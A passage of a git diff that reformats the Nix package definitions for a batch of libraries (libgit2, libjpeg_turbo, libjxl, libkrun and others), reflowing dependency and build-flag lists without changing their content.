diff --git a/pkgs/by-name/li/libgedit-amtk/package.nix b/pkgs/by-name/li/libgedit-amtk/package.nix
index 141cdc97aecc..cbd79f6e85fa 100644
--- a/pkgs/by-name/li/libgedit-amtk/package.nix
+++ b/pkgs/by-name/li/libgedit-amtk/package.nix
@@ -36,18 +36,17 @@ stdenv.mkDerivation rec {
   };
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      gtk-doc
-      docbook-xsl-nons
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    gtk-doc
+    docbook-xsl-nons
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   propagatedBuildInputs = [
     # Required by libgedit-amtk-5.pc
diff --git a/pkgs/by-name/li/libgedit-gfls/package.nix b/pkgs/by-name/li/libgedit-gfls/package.nix
index 4177af865e1d..ef62e4b8cc00 100644
--- a/pkgs/by-name/li/libgedit-gfls/package.nix
+++ b/pkgs/by-name/li/libgedit-gfls/package.nix
@@ -33,18 +33,17 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-X56QPcmNB0Ey+kzSqDnb6/j6/w7IU7MFSAxW8mX8I3w=";
   };
 
-  nativeBuildInputs =
-    [
-      docbook-xsl-nons
-      gobject-introspection
-      gtk-doc
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    docbook-xsl-nons
+    gobject-introspection
+    gtk-doc
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     gtk3
diff --git a/pkgs/by-name/li/libgedit-tepl/package.nix b/pkgs/by-name/li/libgedit-tepl/package.nix
index 0f81c4e9e414..6d132e7ff89f 100644
--- a/pkgs/by-name/li/libgedit-tepl/package.nix
+++ b/pkgs/by-name/li/libgedit-tepl/package.nix
@@ -38,18 +38,17 @@ stdenv.mkDerivation rec {
   };
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gobject-introspection
-      pkg-config
-      gtk-doc
-      docbook-xsl-nons
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gobject-introspection
+    pkg-config
+    gtk-doc
+    docbook-xsl-nons
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     icu
diff --git a/pkgs/by-name/li/libgee/package.nix b/pkgs/by-name/li/libgee/package.nix
index 817ee9cb0994..8ec7a73b330b 100644
--- a/pkgs/by-name/li/libgee/package.nix
+++ b/pkgs/by-name/li/libgee/package.nix
@@ -37,15 +37,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   doCheck = true;
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
-      PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_GIRDIR = "${placeholder "dev"}/share/gir-1.0";
-      PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_TYPELIBDIR = "${placeholder "out"}/lib/girepository-1.0";
-    }
-    // lib.optionalAttrs stdenv.cc.isGNU {
-      NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
-    };
+  env = {
+    NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
+    PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_GIRDIR = "${placeholder "dev"}/share/gir-1.0";
+    PKG_CONFIG_GOBJECT_INTROSPECTION_1_0_TYPELIBDIR = "${placeholder "out"}/lib/girepository-1.0";
+  }
+  // lib.optionalAttrs stdenv.cc.isGNU {
+    NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
+  };
 
   passthru = {
     updateScript = gnome.updateScript {
diff --git a/pkgs/by-name/li/libgit2/package.nix b/pkgs/by-name/li/libgit2/package.nix
index 0d7ea5907062..168bf7fd6482 100644
--- a/pkgs/by-name/li/libgit2/package.nix
+++ b/pkgs/by-name/li/libgit2/package.nix
@@ -47,23 +47,22 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  cmakeFlags =
-    [
-      "-DREGEX_BACKEND=pcre2"
-      "-DUSE_HTTP_PARSER=llhttp"
-      "-DUSE_SSH=ON"
-      (lib.cmakeBool "USE_GSSAPI" withGssapi)
-      "-DBUILD_SHARED_LIBS=${if staticBuild then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isWindows [
-      "-DDLLTOOL=${stdenv.cc.bintools.targetPrefix}dlltool"
-      # For ws2_32, referred to by a `*.pc` file
-      "-DCMAKE_LIBRARY_PATH=${stdenv.cc.libc}/lib"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isOpenBSD [
-      # openbsd headers fail with default c90
-      "-DCMAKE_C_STANDARD=99"
-    ];
+  cmakeFlags = [
+    "-DREGEX_BACKEND=pcre2"
+    "-DUSE_HTTP_PARSER=llhttp"
+    "-DUSE_SSH=ON"
+    (lib.cmakeBool "USE_GSSAPI" withGssapi)
+    "-DBUILD_SHARED_LIBS=${if staticBuild then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isWindows [
+    "-DDLLTOOL=${stdenv.cc.bintools.targetPrefix}dlltool"
+    # For ws2_32, referred to by a `*.pc` file
+    "-DCMAKE_LIBRARY_PATH=${stdenv.cc.libc}/lib"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isOpenBSD [
+    # openbsd headers fail with default c90
+    "-DCMAKE_C_STANDARD=99"
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -77,7 +76,8 @@ stdenv.mkDerivation (finalAttrs: {
     openssl
     pcre2
     llhttp
-  ] ++ lib.optional withGssapi krb5;
+  ]
+  ++ lib.optional withGssapi krb5;
 
   propagatedBuildInputs = lib.optional (!stdenv.hostPlatform.isLinux) libiconv;
 
diff --git a/pkgs/by-name/li/libgnt/package.nix b/pkgs/by-name/li/libgnt/package.nix
index 26f44f71dc25..96b7f6608869 100644
--- a/pkgs/by-name/li/libgnt/package.nix
+++ b/pkgs/by-name/li/libgnt/package.nix
@@ -20,27 +20,27 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional buildDocs "devdoc";
+  ]
+  ++ lib.optional buildDocs "devdoc";
 
   src = fetchurl {
     url = "mirror://sourceforge/pidgin/${pname}-${version}.tar.xz";
     hash = "sha256-GVkzqacx01dXkbiBulzArSpxXh6cTCPMqqKhfhZMluw=";
   };
 
-  nativeBuildInputs =
-    [
-      glib
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals buildDocs [
-      gtk-doc
-      docbook-xsl-nons
-    ]
-    ++ lib.optionals (buildDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    glib
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals buildDocs [
+    gtk-doc
+    docbook-xsl-nons
+  ]
+  ++ lib.optionals (buildDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/libgpiod_1/package.nix b/pkgs/by-name/li/libgpiod_1/package.nix
index 444459d66018..f1c4908a2683 100644
--- a/pkgs/by-name/li/libgpiod_1/package.nix
+++ b/pkgs/by-name/li/libgpiod_1/package.nix
@@ -27,12 +27,13 @@ stdenv.mkDerivation rec {
     ./0001-Drop-AC_FUNC_MALLOC-and-_REALLOC-and-check-for-them-.patch
   ];
 
-  buildInputs =
-    [ kmod ]
-    ++ lib.optionals enablePython [
-      python3
-      ncurses
-    ];
+  buildInputs = [
+    kmod
+  ]
+  ++ lib.optionals enablePython [
+    python3
+    ncurses
+  ];
   nativeBuildInputs = [
     autoconf-archive
     pkg-config
@@ -43,7 +44,8 @@ stdenv.mkDerivation rec {
     "--enable-tools=${if enable-tools then "yes" else "no"}"
     "--enable-bindings-cxx"
     "--prefix=${placeholder "out"}"
-  ] ++ lib.optional enablePython "--enable-bindings-python";
+  ]
+  ++ lib.optional enablePython "--enable-bindings-python";
 
   meta = with lib; {
     description = "C library and tools for interacting with the linux GPIO character device";
diff --git a/pkgs/by-name/li/libgudev/package.nix b/pkgs/by-name/li/libgudev/package.nix
index ee82d06c45e9..a3b8e58f3b91 100644
--- a/pkgs/by-name/li/libgudev/package.nix
+++ b/pkgs/by-name/li/libgudev/package.nix
@@ -46,17 +46,16 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      meson
-      ninja
-      glib # for glib-mkenums needed during the build
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    meson
+    ninja
+    glib # for glib-mkenums needed during the build
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+  ];
 
   buildInputs = [
     udev
diff --git a/pkgs/by-name/li/libguestfs/package.nix b/pkgs/by-name/li/libguestfs/package.nix
index a8285960a55a..5793bf3b9e0a 100644
--- a/pkgs/by-name/li/libguestfs/package.nix
+++ b/pkgs/by-name/li/libguestfs/package.nix
@@ -55,31 +55,30 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      removeReferencesTo
-      bison
-      cdrkit
-      cpio
-      flex
-      getopt
-      gperf
-      makeWrapper
-      pkg-config
-      qemu
-      zstd
-    ]
-    ++ (with perlPackages; [
-      perl
-      libintl-perl
-      GetoptLong
-      ModuleBuild
-    ])
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-    ]);
+  nativeBuildInputs = [
+    autoreconfHook
+    removeReferencesTo
+    bison
+    cdrkit
+    cpio
+    flex
+    getopt
+    gperf
+    makeWrapper
+    pkg-config
+    qemu
+    zstd
+  ]
+  ++ (with perlPackages; [
+    perl
+    libintl-perl
+    GetoptLong
+    ModuleBuild
+  ])
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+  ]);
   buildInputs = [
     libxcrypt
     ncurses
@@ -110,7 +109,8 @@ stdenv.mkDerivation (finalAttrs: {
     ocamlPackages.ounit
     ocamlPackages.augeas
     ocamlPackages.ocamlbuild
-  ] ++ lib.optional javaSupport jdk;
+  ]
+  ++ lib.optional javaSupport jdk;
 
   prePatch = ''
     patchShebangs .
@@ -124,7 +124,8 @@ stdenv.mkDerivation (finalAttrs: {
     "CPPFLAGS=-I${lib.getDev libxml2}/include/libxml2"
     "INSTALL_OCAMLLIB=${placeholder "out"}/lib/ocaml"
     "--with-guestfs-path=${placeholder "out"}/lib/guestfs"
-  ] ++ lib.optionals (!javaSupport) [ "--without-java" ];
+  ]
+  ++ lib.optionals (!javaSupport) [ "--without-java" ];
 
   patches = [
     ./libguestfs-syms.patch
diff --git a/pkgs/by-name/li/libgweather/package.nix b/pkgs/by-name/li/libgweather/package.nix
index d91b1c45e2eb..85dcb9b2a661 100644
--- a/pkgs/by-name/li/libgweather/package.nix
+++ b/pkgs/by-name/li/libgweather/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
@@ -50,20 +51,19 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      glib
-      (python3.pythonOnBuildForHost.withPackages (ps: [ ps.pygobject3 ]))
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    glib
+    (python3.pythonOnBuildForHost.withPackages (ps: [ ps.pygobject3 ]))
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection
+    vala
+  ];
 
   buildInputs = [
     glib
@@ -73,14 +73,13 @@ stdenv.mkDerivation rec {
     geocode-glib_2
   ];
 
-  mesonFlags =
-    [
-      "-Dzoneinfo_dir=${tzdata}/share/zoneinfo"
-      (lib.mesonBool "introspection" withIntrospection)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-Dc_args=-D_DARWIN_C_SOURCE"
-    ];
+  mesonFlags = [
+    "-Dzoneinfo_dir=${tzdata}/share/zoneinfo"
+    (lib.mesonBool "introspection" withIntrospection)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-Dc_args=-D_DARWIN_C_SOURCE"
+  ];
 
   postPatch = ''
     patchShebangs --build build-aux/meson/gen_locations_variant.py
diff --git a/pkgs/by-name/li/libgxps/package.nix b/pkgs/by-name/li/libgxps/package.nix
index e837b661d727..95fdbe9710e7 100644
--- a/pkgs/by-name/li/libgxps/package.nix
+++ b/pkgs/by-name/li/libgxps/package.nix
@@ -46,13 +46,12 @@ stdenv.mkDerivation rec {
   ];
   propagatedBuildInputs = [ libarchive ];
 
-  mesonFlags =
-    [
-      "-Denable-test=false"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "-Ddisable-introspection=true"
-    ];
+  mesonFlags = [
+    "-Denable-test=false"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "-Ddisable-introspection=true"
+  ];
 
   passthru = {
     updateScript = gnome.updateScript {
diff --git a/pkgs/by-name/li/libhugetlbfs/package.nix b/pkgs/by-name/li/libhugetlbfs/package.nix
index 581f6abf4689..5361cee27d66 100644
--- a/pkgs/by-name/li/libhugetlbfs/package.nix
+++ b/pkgs/by-name/li/libhugetlbfs/package.nix
@@ -30,21 +30,20 @@ stdenv.mkDerivation rec {
   '';
 
   enableParallelBuilding = true;
-  makeFlags =
-    [
-      "BUILDTYPE=NATIVEONLY"
-      "PREFIX=$(out)"
-      "HEADERDIR=$(dev)/include"
-      "LIBDIR32=$(lib)/$(LIB32)"
-      "LIBDIR64=$(lib)/$(LIB64)"
-      "EXEDIR=$(bin)/bin"
-      "DOCDIR=$(doc)/share/doc/libhugetlbfs"
-      "MANDIR=$(man)/share/man"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.system != stdenv.hostPlatform.system) [
-      # The ARCH logic defaults to querying `uname`, which will return build platform arch
-      "ARCH=${stdenv.hostPlatform.uname.processor}"
-    ];
+  makeFlags = [
+    "BUILDTYPE=NATIVEONLY"
+    "PREFIX=$(out)"
+    "HEADERDIR=$(dev)/include"
+    "LIBDIR32=$(lib)/$(LIB32)"
+    "LIBDIR64=$(lib)/$(LIB64)"
+    "EXEDIR=$(bin)/bin"
+    "DOCDIR=$(doc)/share/doc/libhugetlbfs"
+    "MANDIR=$(man)/share/man"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.system != stdenv.hostPlatform.system) [
+    # The ARCH logic defaults to querying `uname`, which will return build platform arch
+    "ARCH=${stdenv.hostPlatform.uname.processor}"
+  ];
 
   # Default target builds tests as well, and the tests want a static
   # libc.
diff --git a/pkgs/by-name/li/libical/package.nix b/pkgs/by-name/li/libical/package.nix
index b774a2207631..bf47c1cff633 100644
--- a/pkgs/by-name/li/libical/package.nix
+++ b/pkgs/by-name/li/libical/package.nix
@@ -43,25 +43,24 @@ stdenv.mkDerivation (finalAttrs: {
     libical
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      icu
-      ninja
-      perl
-      pkg-config
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-      # Docs building fails:
-      # https://github.com/NixOS/nixpkgs/pull/67204
-      # previously with https://github.com/NixOS/nixpkgs/pull/61657#issuecomment-495579489
-      # gtk-doc docbook_xsl docbook_xml_dtd_43 # for docs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+    icu
+    ninja
+    perl
+    pkg-config
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+    # Docs building fails:
+    # https://github.com/NixOS/nixpkgs/pull/67204
+    # previously with https://github.com/NixOS/nixpkgs/pull/61657#issuecomment-495579489
+    # gtk-doc docbook_xsl docbook_xml_dtd_43 # for docs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
   nativeInstallCheckInputs = [
     # running libical-glib tests
     (python3.pythonOnBuildForHost.withPackages (
@@ -77,15 +76,14 @@ stdenv.mkDerivation (finalAttrs: {
     icu
   ];
 
-  cmakeFlags =
-    [
-      "-DENABLE_GTK_DOC=False"
-      "-DGOBJECT_INTROSPECTION=${if withIntrospection then "True" else "False"}"
-      "-DICAL_GLIB_VAPI=${if withIntrospection then "True" else "False"}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "-DIMPORT_ICAL_GLIB_SRC_GENERATOR=${lib.getDev pkgsBuildBuild.libical}/lib/cmake/LibIcal/IcalGlibSrcGenerator.cmake"
-    ];
+  cmakeFlags = [
+    "-DENABLE_GTK_DOC=False"
+    "-DGOBJECT_INTROSPECTION=${if withIntrospection then "True" else "False"}"
+    "-DICAL_GLIB_VAPI=${if withIntrospection then "True" else "False"}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "-DIMPORT_ICAL_GLIB_SRC_GENERATOR=${lib.getDev pkgsBuildBuild.libical}/lib/cmake/LibIcal/IcalGlibSrcGenerator.cmake"
+  ];
 
   patches = [
     # Will appear in 3.1.0
diff --git a/pkgs/by-name/li/libieee1284/package.nix b/pkgs/by-name/li/libieee1284/package.nix
index 6dc86ab3da5e..1d476916be85 100644
--- a/pkgs/by-name/li/libieee1284/package.nix
+++ b/pkgs/by-name/li/libieee1284/package.nix
@@ -39,16 +39,15 @@ stdenv.mkDerivation rec {
     docbook_xsl
   ];
 
-  configureFlags =
-    [
-      "--without-python"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isMusl && !stdenv.hostPlatform.isx86) [
-      # musl always provides <sys/io.h>, even though the functionality
-      # is x86-specific.
-      # https://www.openwall.com/lists/musl/2024/10/25/2
-      "ac_cv_header_sys_io_h=no"
-    ];
+  configureFlags = [
+    "--without-python"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isMusl && !stdenv.hostPlatform.isx86) [
+    # musl always provides <sys/io.h>, even though the functionality
+    # is x86-specific.
+    # https://www.openwall.com/lists/musl/2024/10/25/2
+    "ac_cv_header_sys_io_h=no"
+  ];
 
   prePatch = ''
     ./bootstrap
diff --git a/pkgs/by-name/li/libinfinity/package.nix b/pkgs/by-name/li/libinfinity/package.nix
index dd76a585a709..f2fe5897e98f 100644
--- a/pkgs/by-name/li/libinfinity/package.nix
+++ b/pkgs/by-name/li/libinfinity/package.nix
@@ -48,18 +48,17 @@ let
       docbook_xml_dtd_412
       gobject-introspection
     ];
-    buildInputs =
-      [
-        glib
-        libxml2
-        gsasl
-        libidn
-        gss
-        libintl
-        libdaemon
-      ]
-      ++ lib.optional gtkWidgets gtk3
-      ++ lib.optional avahiSupport avahi;
+    buildInputs = [
+      glib
+      libxml2
+      gsasl
+      libidn
+      gss
+      libintl
+      libdaemon
+    ]
+    ++ lib.optional gtkWidgets gtk3
+    ++ lib.optional avahiSupport avahi;
 
     propagatedBuildInputs = [ gnutls ];
 
diff --git a/pkgs/by-name/li/libisoburn/package.nix b/pkgs/by-name/li/libisoburn/package.nix
index c22954354475..b607d656f88f 100644
--- a/pkgs/by-name/li/libisoburn/package.nix
+++ b/pkgs/by-name/li/libisoburn/package.nix
@@ -32,20 +32,19 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      bzip2
-      libcdio
-      libiconv
-      readline
-      zlib
-      libburn
-      libisofs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      acl
-      attr
-    ];
+  buildInputs = [
+    bzip2
+    libcdio
+    libiconv
+    readline
+    zlib
+    libburn
+    libisofs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    acl
+    attr
+  ];
 
   propagatedBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     acl
diff --git a/pkgs/by-name/li/libjpeg_turbo/package.nix b/pkgs/by-name/li/libjpeg_turbo/package.nix
index 26baf7f7ed5c..d2f6d78fd152 100644
--- a/pkgs/by-name/li/libjpeg_turbo/package.nix
+++ b/pkgs/by-name/li/libjpeg_turbo/package.nix
@@ -42,17 +42,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ZNqhOfZtWcMv10VWIUxn7MSy4KhW/jBrgC1tUFKczqs=";
   };
 
-  patches =
-    [
-      # This is needed by freeimage
-      ./0001-Compile-transupp.c-as-part-of-the-library.patch
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
-      ./0002-Make-exported-symbols-in-transupp.c-weak.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      ./mingw-boolean.patch
-    ];
+  patches = [
+    # This is needed by freeimage
+    ./0001-Compile-transupp.c-as-part-of-the-library.patch
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
+    ./0002-Make-exported-symbols-in-transupp.c-weak.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMinGW [
+    ./mingw-boolean.patch
+  ];
 
   outputs = [
     "bin"
@@ -67,34 +66,32 @@ stdenv.mkDerivation (finalAttrs: {
     moveToOutput include/transupp.h $dev_private
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      nasm
-    ]
-    ++ lib.optionals enableJava [
-      openjdk
-    ];
+  nativeBuildInputs = [
+    cmake
+    nasm
+  ]
+  ++ lib.optionals enableJava [
+    openjdk
+  ];
 
-  cmakeFlags =
-    [
-      "-DENABLE_STATIC=${if enableStatic then "1" else "0"}"
-      "-DENABLE_SHARED=${if enableShared then "1" else "0"}"
-    ]
-    ++ lib.optionals enableJava [
-      "-DWITH_JAVA=1"
-    ]
-    ++ lib.optionals enableJpeg7 [
-      "-DWITH_JPEG7=1"
-    ]
-    ++ lib.optionals enableJpeg8 [
-      "-DWITH_JPEG8=1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isRiscV [
-      # https://github.com/libjpeg-turbo/libjpeg-turbo/issues/428
-      # https://github.com/libjpeg-turbo/libjpeg-turbo/commit/88bf1d16786c74f76f2e4f6ec2873d092f577c75
-      "-DFLOATTEST=fp-contract"
-    ];
+  cmakeFlags = [
+    "-DENABLE_STATIC=${if enableStatic then "1" else "0"}"
+    "-DENABLE_SHARED=${if enableShared then "1" else "0"}"
+  ]
+  ++ lib.optionals enableJava [
+    "-DWITH_JAVA=1"
+  ]
+  ++ lib.optionals enableJpeg7 [
+    "-DWITH_JPEG7=1"
+  ]
+  ++ lib.optionals enableJpeg8 [
+    "-DWITH_JPEG8=1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isRiscV [
+    # https://github.com/libjpeg-turbo/libjpeg-turbo/issues/428
+    # https://github.com/libjpeg-turbo/libjpeg-turbo/commit/88bf1d16786c74f76f2e4f6ec2873d092f577c75
+    "-DFLOATTEST=fp-contract"
+  ];
 
   doInstallCheck = true;
   installCheckTarget = "test";
diff --git a/pkgs/by-name/li/libjxl/package.nix b/pkgs/by-name/li/libjxl/package.nix
index 0a91d21f128e..79977aeba872 100644
--- a/pkgs/by-name/li/libjxl/package.nix
+++ b/pkgs/by-name/li/libjxl/package.nix
@@ -96,40 +96,39 @@ stdenv.mkDerivation rec {
     libhwy
   ];
 
-  cmakeFlags =
-    [
-      # For C dependencies like brotli, which are dynamically linked,
-      # we want to use the system libraries, so that we don't have to care about
-      # installing their .so files generated by this build.
-      # The other C++ dependencies are statically linked in, so there
-      # using the vendorered ones is easier.
-      "-DJPEGXL_FORCE_SYSTEM_BROTLI=ON"
+  cmakeFlags = [
+    # For C dependencies like brotli, which are dynamically linked,
+    # we want to use the system libraries, so that we don't have to care about
+    # installing their .so files generated by this build.
+    # The other C++ dependencies are statically linked in, so there
+    # using the vendorered ones is easier.
+    "-DJPEGXL_FORCE_SYSTEM_BROTLI=ON"
 
-      # Use our version of highway, though it is still statically linked in
-      "-DJPEGXL_FORCE_SYSTEM_HWY=ON"
+    # Use our version of highway, though it is still statically linked in
+    "-DJPEGXL_FORCE_SYSTEM_HWY=ON"
 
-      # Use our version of gtest
-      "-DJPEGXL_FORCE_SYSTEM_GTEST=ON"
+    # Use our version of gtest
+    "-DJPEGXL_FORCE_SYSTEM_GTEST=ON"
 
-      "-DJPEGXL_ENABLE_SKCMS=OFF"
-      "-DJPEGXL_FORCE_SYSTEM_LCMS2=ON"
+    "-DJPEGXL_ENABLE_SKCMS=OFF"
+    "-DJPEGXL_FORCE_SYSTEM_LCMS2=ON"
 
-      # TODO: Update this package to enable this (overridably via an option):
-      # Viewer tools for evaluation.
-      # "-DJPEGXL_ENABLE_VIEWERS=ON"
-    ]
-    ++ lib.optionals enablePlugins [
-      # Enable plugins, such as:
-      # * the `gdk-pixbuf` one, which allows applications like `eog` to load jpeg-xl files
-      # * the `gimp` one, which allows GIMP to load jpeg-xl files
-      "-DJPEGXL_ENABLE_PLUGINS=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "-DJPEGXL_STATIC=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-      "-DJPEGXL_FORCE_NEON=ON"
-    ];
+    # TODO: Update this package to enable this (overridably via an option):
+    # Viewer tools for evaluation.
+    # "-DJPEGXL_ENABLE_VIEWERS=ON"
+  ]
+  ++ lib.optionals enablePlugins [
+    # Enable plugins, such as:
+    # * the `gdk-pixbuf` one, which allows applications like `eog` to load jpeg-xl files
+    # * the `gimp` one, which allows GIMP to load jpeg-xl files
+    "-DJPEGXL_ENABLE_PLUGINS=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "-DJPEGXL_STATIC=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+    "-DJPEGXL_FORCE_NEON=ON"
+  ];
 
   # the second substitution fix regex for a2x script
   # https://github.com/libjxl/libjxl/pull/3842
diff --git a/pkgs/by-name/li/libkrun/package.nix b/pkgs/by-name/li/libkrun/package.nix
index 3f8f2c4e3895..7686eb635a60 100644
--- a/pkgs/by-name/li/libkrun/package.nix
+++ b/pkgs/by-name/li/libkrun/package.nix
@@ -56,31 +56,30 @@ stdenv.mkDerivation (finalAttrs: {
     rustPlatform.bindgenHook
     cargo
     rustc
-  ] ++ lib.optional (sevVariant || withGpu) pkg-config;
+  ]
+  ++ lib.optional (sevVariant || withGpu) pkg-config;
 
-  buildInputs =
-    [
-      (libkrunfw.override { inherit sevVariant; })
-      glibc
-      glibc.static
-    ]
-    ++ lib.optionals withGpu [
-      libepoxy
-      libdrm
-      virglrenderer
-    ]
-    ++ lib.optional withSound pipewire
-    ++ lib.optional sevVariant openssl;
+  buildInputs = [
+    (libkrunfw.override { inherit sevVariant; })
+    glibc
+    glibc.static
+  ]
+  ++ lib.optionals withGpu [
+    libepoxy
+    libdrm
+    virglrenderer
+  ]
+  ++ lib.optional withSound pipewire
+  ++ lib.optional sevVariant openssl;
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-    ]
-    ++ lib.optional withBlk "BLK=1"
-    ++ lib.optional withGpu "GPU=1"
-    ++ lib.optional withSound "SND=1"
-    ++ lib.optional withNet "NET=1"
-    ++ lib.optional sevVariant "SEV=1";
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optional withBlk "BLK=1"
+  ++ lib.optional withGpu "GPU=1"
+  ++ lib.optional withSound "SND=1"
+  ++ lib.optional withNet "NET=1"
+  ++ lib.optional sevVariant "SEV=1";
 
   postInstall = ''
     mkdir -p $dev/lib/pkgconfig
diff --git a/pkgs/by-name/li/libkrunfw/package.nix b/pkgs/by-name/li/libkrunfw/package.nix
index 9496c7cfdc7e..395d892c971e 100644
--- a/pkgs/by-name/li/libkrunfw/package.nix
+++ b/pkgs/by-name/li/libkrunfw/package.nix
@@ -48,13 +48,12 @@ stdenv.mkDerivation (finalAttrs: {
     elfutils
   ];
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-    ]
-    ++ lib.optionals sevVariant [
-      "SEV=1"
-    ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals sevVariant [
+    "SEV=1"
+  ];
 
   # Fixes https://github.com/containers/libkrunfw/issues/55
   NIX_CFLAGS_COMPILE = lib.optionalString stdenv.targetPlatform.isAarch64 "-march=armv8-a+crypto";
diff --git a/pkgs/by-name/li/libks/package.nix b/pkgs/by-name/li/libks/package.nix
index a83011a56fa1..264f9f6f5ea3 100644
--- a/pkgs/by-name/li/libks/package.nix
